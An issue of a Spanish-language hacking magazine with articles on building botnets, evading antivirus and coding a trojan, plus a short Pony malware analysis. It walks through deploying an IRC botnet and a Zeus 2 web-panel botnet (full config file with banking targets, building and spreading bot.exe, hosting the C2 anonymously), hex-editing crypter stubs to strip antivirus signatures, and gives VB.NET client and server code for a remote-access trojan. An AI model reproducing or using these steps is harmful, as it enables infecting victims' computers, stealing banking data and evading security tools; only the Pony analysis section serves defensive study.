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PRÓLOGO 

Estimados amigos, a través de esta nueva entrega volvemos a acercarnos a ustedes con un tema de total 

actualidad como lo es el de las BotNets. El malware ha evolucionado y las infecciones no se limitan al control de 

un ordenador particular, sino a la creación de redes de computadores con las más diversas finalidades. 

Conocer las herramientas de creación,  funcionamiento y manejo son actividades que no pueden permanecer 

ajenas al mundo del hacking y la seguridad informática.  Son éstas las razones que nos llevan a iniciarnos en una 

temática que resulta cautivante. 

Por otra parte, en este transitar por el mundo del malware los objetivos son múltiples y transcienden la 

divulgación del conocimiento libre. Nos proponemos un intercambio de instrucción pero al mismo tiempo de 

aprendizaje consciente sobre el manejo de infecciones; las herramientas que ponemos en contacto con vosotros 

se orientan a dichos fines.  

En este número encontraréis, desde la noción misma de lo que es una BotNet, hasta su operatividad en diversos 

entornos. Los distintas formas de montar una red de zombies y  como instrumentar un tipo de indetectabilidad.   

Complementamos la entrega con un ejercicio de análisis de ficheros maliciosos, correspondientes a la BotNet 

Pony, y damos inicio a la guía de creación de un troyano en VB.Net. 

 

Equipo de Underc0de 
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BotNets desde cero 
Autor: ANTRAX 
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I. BOTNETS 

 

1. ¿QUÉ ES UNA BOTNET? 

 

La palabra BotNet,  proviene de bot (robot) + net (red), de donde la conjunción de ambas nos anuncia el propio 

concepto: red de control remota y automatizada de ordenadores. Se componen de un cliente (persona que 

controla los ordenadores) y “PCs zombies”, que son los ordenadores infectados por dicha BotNet. La mayoría de 

las veces, los propietarios de las computadoras afectadas por este malware no se dan cuenta de que tienen al 

mismo alojado en ella. Cuando una PC se encuentra infectada pueden aparecer diversos síntomas, por ejemplo: 

experimentar lentitud en las aplicaciones o tareas a realizar, el cooler de la máquina se acelera aun cuando no la 

estamos utilizando, inestabilidades en la conexión, etcétera. Estas anomalías se explican -justamente- porque el 

dueño de la red zombie, se encuentra enviando órdenes a los equipos que tiene bajo su poder. 
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2. ¿PARA QUÉ SIRVEN LAS BOTNETS? 

 

Las BotNets son utilizadas para hacer spam, básicamente con la finalidad de obtener información financiera y 

poder sacar provecho o algún determinado beneficio. Al tener buena propagación, se infectan miles de 

ordenadores en busca de cuentas bancarias, tarjetas de crédito, y otros accesos de interés. 

Otro uso frecuente que se les suele dar, es el de facilitar el abuso de la publicidad con los servicios del tipo  que 

nos brinda Adsense, Kontextua, entre otras empresas. De esta forma, se puede obtener mayor cantidad de visitas 

o clicks gracias a los zombies que se encuentran en la red y,  en definitiva,  ganar bastante dinero. 

 
También son muy usadas para ataques de DDoS (denegación de servicio distribuido) cuya finalidad es  tirar 

websites, foros, y pueden llegar a causar daños en la base de datos o consumir el ancho de banda del host para 

que deje de funcionar. 
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Por otra parte,  tienen otros usos que aunque no son tan difundidos, es oportuno mencionarlos: 

 Construir servidores para alojar software warez, cracks, seriales, etc.  

 Construir servidores web para alojar material pornográfico y/o pedófilo.  

 Construir servidores web para ataques de phishing.  

 Montar redes privadas de intercambio de material ilegal.  

 Sniffing de tráfico web para robo de datos confidenciales.  

 Distribución e instalación de nuevo malware.  

 Manipulación de juegos online. 

 Minería  y robo de bitcoins. 

 

3. TIPOS DE CLIENTES 
 

Hay varias formas de manipular una BotNet, entre los cuales podemos destacar los siguientes: 

 IRC 

 Web Panel 

 Clientes de escritorio 

 

En el IRC, lo que hacemos es que todos nuestros zombies conecten a un mismo canal de IRC y esperen órdenes 

por comandos.  
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De forma muy similar sucede con el Web Panel; los zombies conectan a una misma IP, en donde tendremos un 

panel y desde éste podremos introducir comandos o clickear las acciones que traiga dicha BotNet. 

 

 

 

Por último, tenemos las BotNets con Clientes de escritorio y éste es similar a un troyano con su Cliente - Servidor. 

Los zombies conectan a una DNS y desde nuestro cliente podremos darles órdenes. 
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4. ¿CÓMO FUNCIONAN LAS BOTNETS? 
 

Al igual que los troyanos, las BotNets están compuestas por un cliente-servidor. Se propagan rápidamente por 

internet de forma masiva y pueden provocar una infección en cadena. Esto quiere decir que si yo infecto a un 

contacto mío, éste infectará a los suyos, y a su vez éste a los suyos; y así sucesivamente, hasta formar una gran 

cadena de infección… 

 
 

Seguramente, más de una vez habrán visto en Facebook publicaciones que suelen llamar la atención como las 
siguientes: 
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En los dos casos precedentes, se muestran videos que pueden ser tentadores, pero en realidad se trata de  un 
gusano que se propaga por Facebook. En consecuencia, si alguna vez entraron, lo más probable es que se hayan 
infectado… 
 
 
Otro tipo de infección es por URL y sucede cuando  al entrar a un sitio web, éste muestra una especie de 
advertencia que al aceptarla, estamos dando paso a una BotNet. La advertencia suele verse de la siguiente forma: 
 
 

 

 
 

En este caso, simula ser una actualización de Flash Player, pero en realidad es un malware que intenta meterse en 

nuestro sistema. 
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5. ¿CÓMO MONTAR UNA BOTNET? 
 

Antes hemos mencionado los 3 tipos de BotNets (IRC, HTTP, Cliente de escritorio); en los tres casos podemos 

señalar que  los zombies deben apuntar al mismo sitio. Esto es, en el caso del IRC, apuntarlos a un canal registrado 

en algún servidor; si es por HTTP, apuntarlos a un host; y si es por ejecutable, apuntarlos a alguna DNS. En 

cualquiera de las hipótesis corremos riesgos de perder todos los remotos, ya que puede ser denunciada y la dan 

de baja. Lo que se recomienda, es tener un server propio en casa montado en nuestra PC para que los remotos 

lleguen ahí; obviamente, teniendo precauciones para mantenerlo anónimo. Otra alternativa viable, es montarlo 

en un servidor de algún país en el que no haya leyes que prohíban su manejo. 

 

6. BOTNET POR IRC 
 

Para montar una  por IRC necesitaremos IRCPlus, lo instalamos y nos vamos a su pantalla principal de 

configuración: 

 

 

Colocamos un nombre en el Server y una descripción. 

Nota: Es importante aclarar que el puerto que pongamos (en mi caso el 2000), debe estar abierto en 

nuestro router en caso de que tengamos. En caso de tener router y no tenerlo abierto, lo abrimos de la 

misma forma que cuando usamos un troyano. 
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El resto de las opciones son a su gusto, como por ejemplo, la de los canales: 

 

 

 

Importantísimo lo que está remarcado en rojo, ya que de esta forma podrán entrar todos los zombies a nuestro 

canal sin ningún tipo de restricción. 

También es bueno crear un user admin para controlar el canal y el servidor.  

Registramos el Nick: 
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Y luego nos dirigimos a Operators: 

 

Como pueden ver, ahí mi user está como Operador del IRC. 

Paso siguiente, vamos a nuestro cliente de IRC: 
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Colocamos /server “NO-IP” o IP. 

En mi caso, coloque mi “no-ip” de test: 
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Ahí nos da una bienvenida.  

Identifico mi user de la siguiente manera (comando): 

/pass “Password” 

Ejemplo: /pass 12345 

Y por último entramos al canal: 
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Con la entrada de nuestros  zombies, ya estamos en condiciones de poder manipularlos a través de comandos 

definidos -previamente- en la BotNet. 

Observen una captura de ejemplo sobre cómo se ve una  por IRC  cuando entran zombies: 
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Como ven, el primero de todos (@Z) es el Operador del canal -quien manipulará la BotNet - todos los demás,  son 

los zombies. 

De esta forma, no podrán darnos de baja el canal ya que el servidor lo tendremos montado en nuestra propia PC. 
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7. BOTNET POR HTTP O PANEL WEB 
 
 

Para este caso utilizaremos la ZEUS  2.  

En este apartado, veremos cómo montarla con las configuraciones básicas, ya que se pueden agregar opciones 

más avanzadas, pero por ahora solo nos centraremos en las funciones principales para dejarla operativa. 

Si acudimos a  la carpeta de la  podremos ver todos estos directorios: 
 
 
 

 
 
 
La carpeta llamada “server[php]” es la que debemos subir a algún hosting. Tener presente que este hosting no 
debe ser gratuito. 
 
Dentro de esta carpeta podremos ver los siguientes ficheros y directorios: 
 
 
 

 
Abrimos el cliente de FTP y los subimos a todos: 
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Una vez realizadas las acciones anteriores, el paso siguiente  es crear una base de datos y un usuario que acceda a 
ella. 
 
Para ello debemos ir al Cpanel  MySQL Bases de Datos: 
 
 

 
Una vez creada, haremos también un usuario: 
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Finalmente, las vinculamos: 
 
 

 
 
 
A continuación procedemos a darle todos los permisos a la cuenta: 
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Listo, ya tenemos hecha nuestra base de datos, que será en donde se guarden todos los logs que capturemos. 

Ahora, configuraremos el server del Bot; para ello vamos al directorio Builder y abrimos el archivo llamado 

config.txt 

Les copio/pego el texto plano del *.txt 
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1. ;Build time:   22:38:59 11.03.2011 GMT 
2. ;Version:      2.0.8.9 
3.   
4. entry "StaticConfig" 
5.   ;botnet "btn1" 
6.   timer_config 60 1 
7.   timer_logs 1 1 
8.   timer_stats 20 1 
9.   url_config "http://localhost/config.bin" 
10.   remove_certs 1 
11.   disable_tcpserver 0 
12.   encryption_key "secret key" 
13. end 
14.   
15. entry "DynamicConfig" 
16.   url_loader "http://localhost/bot.exe" 
17.   url_server "http://localhost/gate.php" 
18.   file_webinjects "webinjects.txt" 
19.   entry "AdvancedConfigs" 
20.     ;"http://advdomain/cfg1.bin" 
21.   end 
22.   entry "WebFilters" 
23.     "!*.microsoft.com/*" 
24.     "!http://*myspace.com*" 
25.     "https://www.gruposantander.es/*" 
26.     "!http://*odnoklassniki.ru/*" 
27.     "!http://vkontakte.ru/*" 
28.     "@*/login.osmp.ru/*" 
29.     "@*/atl.osmp.ru/*" 
30.   end 
31.   entry "WebDataFilters" 
32.     ;"http://mail.rambler.ru/*" "passw;login" 
33.   end 
34.   entry "WebFakes" 
35.     ;"http://www.google.com" "http://www.yahoo.com" "GP" "" "" 
36.   end 
37. end 
38.   

 
En la siguiente captura,  una imagen de cómo debería quedar: 
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Pasaremos a explicar las modificaciones: 

;botnet "btn1" 

 Modificamos a lo que está entre comillas por localhost, que será en donde estará situada la BotNet. 

url_config "http://localhost/config.bin" 

 Modificamos la URL por la nuestra. En este caso, debemos especificar en donde se encuentra el 

config.bin (que aún no hemos creado, pero es el directorio que se estima que estará) 

encryption_key "secret key" 

 Acá debemos poner una llave secreta; que es un código que nosotros queramos. En mi caso presioné 

varias teclas al azar.  

url_loader "http://localhost/bot.exe" 
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url_server "http://localhost/gate.php" 

 Por último tenemos las dos precedentes, la primera es en donde tenemos el bot.exe (que aún no lo 

hemos creado, pero es en donde estará alojado);  y la segunda es el gate.php que ya hemos subido 

previamente. 

 

Seguidamente, abrimos el zsb para crear el config.bin y el bot.exe que nos faltan: 

 

 
 

 Así, en Encryption Key, la llave que colocamos en el config.txt 

 A continuación, vamos a Builder y damos click en Browse… y buscamos el config.txt 

 Seguido a esto, damos click en “Build the Bot Configuration”. 

 Guardamos el config.bin que nos genera y finalmente damos click en “Build the bot Executable” 

 Por último,  guardamos el bot.exe 
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Ahora sí, subimos el config.bin y el bot.exe por FTP: 
 
 

 
 

Una vez hecho esto, ya estamos en condiciones de comenzar a infectar. 

Ese bot.exe que generamos es el server que debemos propagar. 

 

 
 
 
Entramos vía web a nuestro panel. Recuerden que el panel es ese que se llama cp.php 
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Procederé a auto-infectarme, para probar si funciona. (Ustedes no hagan este paso ya que dañarán severamente 

su ordenador). 

Una vez ejecutado el server, este desaparecerá y conectará a nuestro cliente vía web, se verá algo así: 

 

 
Si investigan un poco el panel del Bot, podrán ver las opciones para ver los logs, para atacar webs, etcétera… 

Para cerrar este capítulo, recordar que también tenemos la BotNet con Cliente de escritorio, pero parece no ser 

necesario abundar en mayores explicaciones ya que  no es muy frecuente verla y se configura de igual forma que 

un troyano común. 

A manera de conclusión, señalar que las líneas-guía que hemos reseñado nos sitúan en los primeros pasos de la 

temática BotNets y sus configuraciones básicas, por lo que no solo no está agotado el tema sino que os invitamos 

a continuar explorando, profundizando y planteándose problemas a resolver como el mejor camino de 

aprendizaje.  
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Indetectabilidad 
Autor: Roda 
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II. INDETECTABILIDAD 
 

1. MODDEAR UN BINARIO 

 

En esta segunda entrega de Malware Magazine, analizaremos cómo modificar un crypter ya compilado. Es decir, 

veremos como moddear un binario;  para ello necesitaremos Resource Hacker. 

Con esta excelente herramienta, lo que podemos hacer es cambiarle la versión y el icono al ejecutable; y aunque 

parezca increíble, esto ayuda a saltar algunas firmas. 

 

2. CAMBIAR DE ICONO 

Una vez que ejecutamos Resource Hacker,  para cambiar el icono debemos ir al menú "Action - Replace icon". 

 

 
 
 

Elegido nuestro icono, solo debemos desplegar al menú Filey dar click en  Save / Save As (guardar)... 
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3. CAMBIAR DE VERSION INFO 
 

Para cambiar la Version Info de un programa, lo primero que debemos hacer es elegir algún programa que 

tengamos en nuestra PC o que descarguen de internet. 

Veamos un ejemplo: elegimos el programa Iobit Unistaller y lo arrastramos hasta el Resource Hacker, vamos 

donde dice Version Info (1033 en este caso)... 
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Seleccionamos todo el contenido y elegimos copy o cut (copiar o cortar): 
 
 

 
 
 
Ahora arrastramos nuestro ejecutable (stub) para pegar la información anterior: 
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A continuación, hacemos el mismo procedimiento que antes y pegamos nuestra información, luego pulsamos 

donde dice "Compile Script" que servirá para que nuestro ejecutable cambie su versión.  Recuerden ir al menú 

File, y dar click en Save o Save As.  

De esta forma ya aprendimos como cambiar el icono y la “Version Info” a un ejecutable. 

 

4. QUITAR LAS FIRMAS DE UN EJECUTABLE 
 

Bajo este título, aprenderemos algunos métodos para quitar firmas de un ejecutable, para ello usaremos un 

Editor Hexadecimal "HexWorkShop". 

Abrimos nuestro archivo con HexWorkShop y nos vamos al binocular marcado en la imagen y en “value” ponemos 

VB5.  

Asimismo, nos aseguramos de que estén los casilleros marcados tal cual como se ve en la imagen siguiente: 

 

 
 
Nota: Si cambian o modifican la VB5 el archivo quedará roto. 
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Ahora, si bajamos un poco nos encontramos con unos datos que vamos a modificar: 
 
 
 

 
 
 
 
Cambiamos el título del proyecto por cualquier cosa que se nos ocurra, en el ejemplo de la imagen rellené 
"ModByRod". 

 

 
 
Seguidamente,  buscamos la MSVBVM60 de la misma forma que antes: 
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En este caso, modificamos las mayúsculas por minúsculas y borramos la .DLL; marcamos el .DLL botón derecho, 
FILL 
 

 
 
 
Será 4  el número de bytes que marcamos y 0 con lo que vamos a rellenar. Damos click en OK. 
 
 

 
 
 
Nos quedará como en la captura precedente.  

También, podemos alternar entre mayúsculas y minúsculas (Ej: MsVbVm60). 
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Por otro lado, si examinamos un poco el archivo, nos vamos a encontrar con nombres como: vbaVarMove, 

vbaAryMove, vbaCopyBytes. Éstas son librerías que contiene el ejecutable,  la  mala modificación de alguna de 

ellas trae como consecuencia que podemos dejarlo [al ejecutable] inutilizable. 

Para mover alguna librería usaremos el famoso método TIL. Para ello utilizaremos la herramienta “CFF Explorer” o 

“Explorer Suite";  click derecho en el ejecutable y lo abrimos: 
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Nos vamos donde dice "Import directory" allí veremos la msvbvm60, le damos un click. Aparecerán debajo las 

librerías. 
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Veamos entonces, de qué forma podemos cambiarlas de lugar; para esto abrimos nuestro editor Hex y buscamos 

un hueco donde haya una línea completa de ceros. En este ejemplo, debajo de la ruta del proyecto podemos ver 

que hay una combinación de ceros de izquierda a derecha. 

Podemos probar, en otro lugar también, donde haya dicha combinación. 

 

 
 
Ahora, hacemos click en los puntitos y vemos debajo donde dice Caret que es el lugar donde vamos a pegar la 

librería, en este caso: 19A8. 
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Bien, una vez que ya sabemos la ubicación exacta en donde peguemos la librería, abrimos nuestro CFF Explorer 

En este caso elegimos la librería __vbaVarMove, la copiamos. 

 
 
Finalmente, reemplazamos el 6216 por la nueva ubicación 19A8. 
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Recuerden:      File, Save/ Save As. 
 
 

 
 
 
Veamos como quedó la librería en Hex con su nueva ubicación:  
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Conclusión de cierre: Moddear un binario, bajo el auxilio de las  herramientas referidas, no resulta un 

procedimiento complejo y puede sernos de gran utilidad. Confiamos  que el artículo que os dejamos les resulte 

ameno y comprensible para los que se inician en esta área.  
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Análisis de Malwares 
Autor: Blackdrake 
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III. ANÁLISIS DE MALWARES 

 

Nuevamente bienvenidos  al capítulo de análisis de malware. En esta oportunidad   vamos a realizar una tarea  

sencilla;  nuestro trabajo consistirá en  averiguar hacia donde apunta (o que pretende) el fichero malicioso.  

Consideramos como punto de partida  el archivo que aparece en la siguiente imagen; con la idea -como 

señalábamos antes- de ejecutarlo y con el objetivo de saber a dónde apunta.  

 

 

 

 

1. FICHEROS MALICIOSOS Y WIRESHARK 
 

Antes de proceder a ejecutar el archivo infectado, vamos a iniciar Wireshark en nuestra máquina virtual (siempre 

se aconseja ejecutar malware en entornos controlados), para no perder detalle de las conexiones que realiza 

mientras se ejecuta: 
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Como vemos, Wireshark nos dio distintas datos al ejecutarlo; vamos a revisarlo en busca de información 

interesante, entre todas ellas, podemos ver una que destaca sobre el resto: 

 

Buscaremos todas las conexiones que se realizan hasta esa dirección IP, entre todas ellas, encontramos éstas: 

Como podemos ver en la siguiente imagen, se envían datos de nuestra máquina hacía un archivo php alojado en 

una web, vamos a ver dónde: 

 

 

Precisamente, en este momento, Windows lanza un aviso de que el archivo hacía más de lo que nosotros 

pensábamos, pues estaba creando varios archivos temporales… 
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Pero continuemos con nuestro trabajo: encontrar la página web. En Wireshark obtuvimos lo siguiente: 

 

 

Ya localizamos la página web, que por el archivo llamado gate.php se puede pensar que es una BotNet. 

 

2. LA INFORMACIÓN DE CUCKOO 
 

Vamos a subirlo a Cuckoo (cuya instalación vimos   en la entrega pasada) o bien, usamos el servicio que nos 

ofrece malwr.com: 
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Como vemos, en el mensaje, Cuckoo nos dice que el malware roba información local de los navegadores, además, 

de que puede ser un troyano bancario; (cuyo nombre de proceso es Pony.exe). 

En consecuencia, nos pusimos a investigar sobre ese archivo (cuyo objetivo era encontrar más archivos como 

éste),  pues queríamos saber de que BotNet se trataba,  y la suerte nos acompañó, porque lo encontramos:  

 

 

Lo subimos directamente a Cuckoo, pues también nos da información sobre los host a los que conecta. 

 

 

 

No conectaba al mismo dominio que el anterior archivo, pero podía ser -básicamente- porque no había sido 

creado por la misma persona… fuimos a revisar los mensajes que nos proporcionaba para ver si tenía algo que ver 

con el otro: 
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3. LA BOTNET PONY 
 

Más o menos su función era la misma pero este parecía mucho más peligroso… por lo que nos pusimos a 

investigar sobre Pony, y esta es la información que obtuvimos: 

Pony, es una BotNet que tiene el siguiente aspecto: 
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Página Principal: 

 

 

Log de FTP 
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Log de HTTP: 

 

 

Estadísticas: 
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Pony es capaz de robar información de más de 60 programas: 

1. SystemInfo 

2. FAR Manager 

3. Total Commander 

4. WS_FTP 

5. CuteFTP 

6. FlashFXP 

7. FileZilla 

8. FTP Commander 

9. BulletProof FTP 

10. SmartFTP 

11. TurboFTP 

12. FFFTP 

 

Pueden ver la lista completa y más sobre este análisis en:  

http://zerosecurity.org/2012/06/a-look-at-pony-1-7-http-botnet 

 

Para cerrar esta breve guía, recordarles que en el análisis de malware es conveniente realizarlo no solo en 

entornos controlados, sino que debemos irlo ensayando o probando de manera gradual y atenta al universo 

cambiante que éste implica. En futuras entregas iremos viendo análisis más complejos conjuntamente con el uso 

de otras herramientas.   

 

  

http://zerosecurity.org/2012/06/a-look-at-pony-1-7-http-botnet
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IV. CREAR UN TROYANO PASO A PASO 

 

Entrega tras entrega iremos compartiendo fragmentos de códigos para que vayas armando tu propio troyano, 

paso a paso, desde cero en VB.NET.  

En esta primer parte, comenzaremos con la creación del cliente y el servidor y la conexión entre ambos. 

Como prerrequisito es necesario tener instalado Visual Studio en nuestra PC. Una vez que lo tengamos lo abrimos 

y creamos la siguiente solución y dos proyectos. Deberíamos tener la siguiente estructura: 

 

 

 

1. CLIENTE 

Creamos el formulario del tamaño que deseemos y luego arrastramos el componente ListView hasta él. 

Deberíamos tener lo siguiente: 
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Acto seguido,  hacemos click en el ListView que hemos agregado y en vista colocamos “Details” para que luego 

nos muestre los detalles de los remotos que se conecten a nuestro cliente: 

 

Ahora, debemos agregar cuatro columnas y debería quedar como en la siguiente imagen, para el resto de las 

columnas colocar en Text lo siguiente: “PCName”; “OsVersion”; “IP” que son los datos que nos saldrán cuando 

alguien se conecte. 

 

El listview debería quedar de la siguiente forma (los anchos de columna los editan ustedes a gusto, y si quieren 

que se vean las líneas grises deben poner en las propiedades del listviewGridLines=True). 
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El cliente debe tener el siguiente código; (cada línea está explicada como comentario en verde). 

1. ImportsSystem.Threading'esto es el import de Threading que se usa para que la aplicacion funcione de 

forma multihilo y no se congele 

2. ImportsSystem.Net.Sockets'este es el import de Sockets, son nuestra herramienta de comunicacion 

3.   

4. PublicClassPrincipal 

5. PrivateServerSocketAsTcpListener'Declaramos el Socket 

6. DimDataSocketAsSocket'Declaramos el socket 

7. DimHiloEscuchaAsNewThread(AddressOf Escuchar) 'Se declara un Hilo alternativo para que no se nos 

congele el programa. 

8. PrivateSubPrincipal_Load(senderAsObject, e AsEventArgs) HandlesMyBase.Load 

9. HiloEscucha.Start() 'iniciamos el hilo 

10. EndSub 

11. PrivateSubEscuchar() 

12. ServerSocket = NewTcpListener(Net.IPAddress.Any, 7913) 'Creamos el socket a la escucha (usamos el 

puerto 7913) 

13. ServerSocket.Start(10) 'Iniciamos el socket con un limite de conecciones pendientes de 10 

14. DimMensaje() AsString' en este vector guardaremos los datos que nos envian 

15. Do'creamos un bucle para que se ejecute infinitas veces 

16. IfServerSocket.Pending = TrueThen'Si hay conexiones pendientes 

17. DataSocket = ServerSocket.AcceptSocket() 'Tomamos la conexión en nuestro nuevo socket DataSocket 

18. DimvDatos(255) AsByte'Creamos un vector que sera nuestro buffer de entrada 

19. DataSocket.Receive(vDatos) 'Recibimos los datos. Límite de buffer: 256 

20.                 Mensaje = Split(System.Text.Encoding.BigEndianUnicode.GetString(vDatos), "|") 'Guardamos en 

mensaje lo que el server nos envio y lo dividimos por el separador "|" 

21. DimLV_ItemAsListViewItem = LV.Items.Add(Mensaje(1)) 'Creamos un nuevo item en el listview 

22. LV_Item.SubItems.Add(Mensaje(2)) ' agregamos mas datos del mensaje 

23. LV_Item.SubItems.Add(Mensaje(3)) ' agregamos mas datos del mensaje 

24. LV_Item.SubItems.Add(DataSocket.RemoteEndPoint.ToString) 'agregamos el ip del remoto 

25. EndIf 

26. Loop 

27. EndSub 

28. PrivateSubPrincipal_FormClosing(senderAsObject, e AsFormClosingEventArgs) HandlesMe.FormClosing 

29. Try 

30. IfDataSocket.ConnectedThen'si el socket sigue conectado... 

31. DataSocket.Disconnect(False) 'Desconectamos el remoto 

http://www.google.com/search?q=SPLIT+site:msdn.microsoft.com
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32. DataSocket.Close() 'Cerramos el socket 

33. EndIf 

34. Finally 

35. HiloEscucha.Abort() 'cortamos el hilo 

36. End 

37. EndTry 

38. EndSub 

39. EndClass 

 

2. SERVIDOR 
 

Ahora, en el proyecto del servidor, solamente crearemos el formulario y le agregaremos el siguiente código: 

1. ImportsSystem.Net.Sockets 

2. PublicClassServer 

3. DimoSocketAsSocket 

4. PrivateSubServer_Load(senderAsObject, e AsEventArgs) HandlesMyBase.Load 

5. Try 

6. oSocket = NewSocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) 'Creamos el 

socket 

7. DimosVersionAsString = System.Environment.OSVersion.ToString() ' Creamos la variable OsVersion que 

nos dira que sistema posee nuestro remoto 

8. DimPCNameAsString = System.Windows.Forms.SystemInformation.ComputerName'Creamos la variable 

PCName que nos dira el nombre de la pc de nuestro remoto 

9. DimvDatos(1500) AsByte'Creamos un buffer de salida. Límite de buffer: 1500 

10. vDatos = 

System.Text.Encoding.BigEndianUnicode.GetBytes("HELLO"&"|"&"Underc0deRAT[MAGAZINE]"&"|"&PC

Name&"|"&osVersion) 'llenamos el buffer con la cadena que mostraremos en el listview 

11. oSocket.Connect(Net.IPAddress.Parse("127.0.0.1"), 7913) 'Conectamos con el servidor: en el ip 127.0.0.1 y 

el puerto 7913 

12. oSocket.Send(vDatos) 'Enviamos los datos 

13. oSocket.Disconnect(False) 'Nos desconectamos del servidor 

14. oSocket.Close() 'Cerramos el socket usado para el envío 

15. CatcherAsSocketException 

16. MsgBox(er.SocketErrorCode) 

17. EndTry 

18. EndSub 

19. EndClass 

Finalmente, ejecutamos el cliente y luego el servidor, y podremos ver que conecta en nuestro cliente: 

 

http://www.google.com/search?q=CLOSE+site:msdn.microsoft.com
http://www.google.com/search?q=CLOSE+site:msdn.microsoft.com
http://www.google.com/search?q=MSGBOX+site:msdn.microsoft.com
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Si han seguido los pasos indicados, no tendrán problemas en estas etapas iniciales. En próximas entregas 

avanzaremos hasta completar la guía que anunciamos al comienzo de este apartado, por lo que recomiendo 

alguna lectura  sobre VB.NET. 
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